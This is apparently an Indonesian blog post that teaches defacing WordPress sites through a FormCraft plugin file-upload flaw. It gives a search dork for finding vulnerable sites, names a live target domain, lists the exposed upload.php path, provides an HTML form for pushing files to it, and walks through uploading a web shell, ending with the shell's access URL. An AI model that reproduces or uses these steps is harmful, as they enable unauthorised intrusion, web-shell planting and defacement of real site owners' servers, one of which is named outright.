Deface dengan FormCraft Upload Vulnerability

 

Assalamualaikum ..

Maaf kalau acak-acakan  soalnya ini post pertama saya  wkakwakwka

Langsung aja yah kakak 

Dork : inurl:"wp-content//plugins/formcraft/"

Live Target : http://quiropracticoqro.com/

Exploit : 

Code:

1. wp-content/plugins/formcraft/file-upload/server/php/upload.php

2. wp-content/plugins/formcraft/file-upload/server/php/

Script CSRF :

Code:

<form method="POST" action="http://www.Unknown~X.com/wp-content/plugins/formcraft/file-upload/server/php/upload.php"

enctype="multipart/form-data">

<input type="file" name="files[]" /><button>Upload</button>

</form>

*Save As .html

Cari target menggunakan dork di atas  

Jika Vuln akan nampak seperti ini  

Contoh Vuln :

Sekarang tinggal edit targetnya di Script CSRF yang tadi ..

Sekarang buka filenya dengan browser yang mastah gunakan  

Lalu upload deh shell kesangannya  

Setelah upload maka akan nampak seperti ini

Jika Berhasil Akan Muncul Shell Kesayangan Sobat  

Shell Access : 

http://localhost/wp-content/plugins/formcraft/file-upload/server/php/files/namashell.php

Sekian, Semoga bermanfaat

Wassalamualaikum

Share this

Share on FacebookPlus on Google+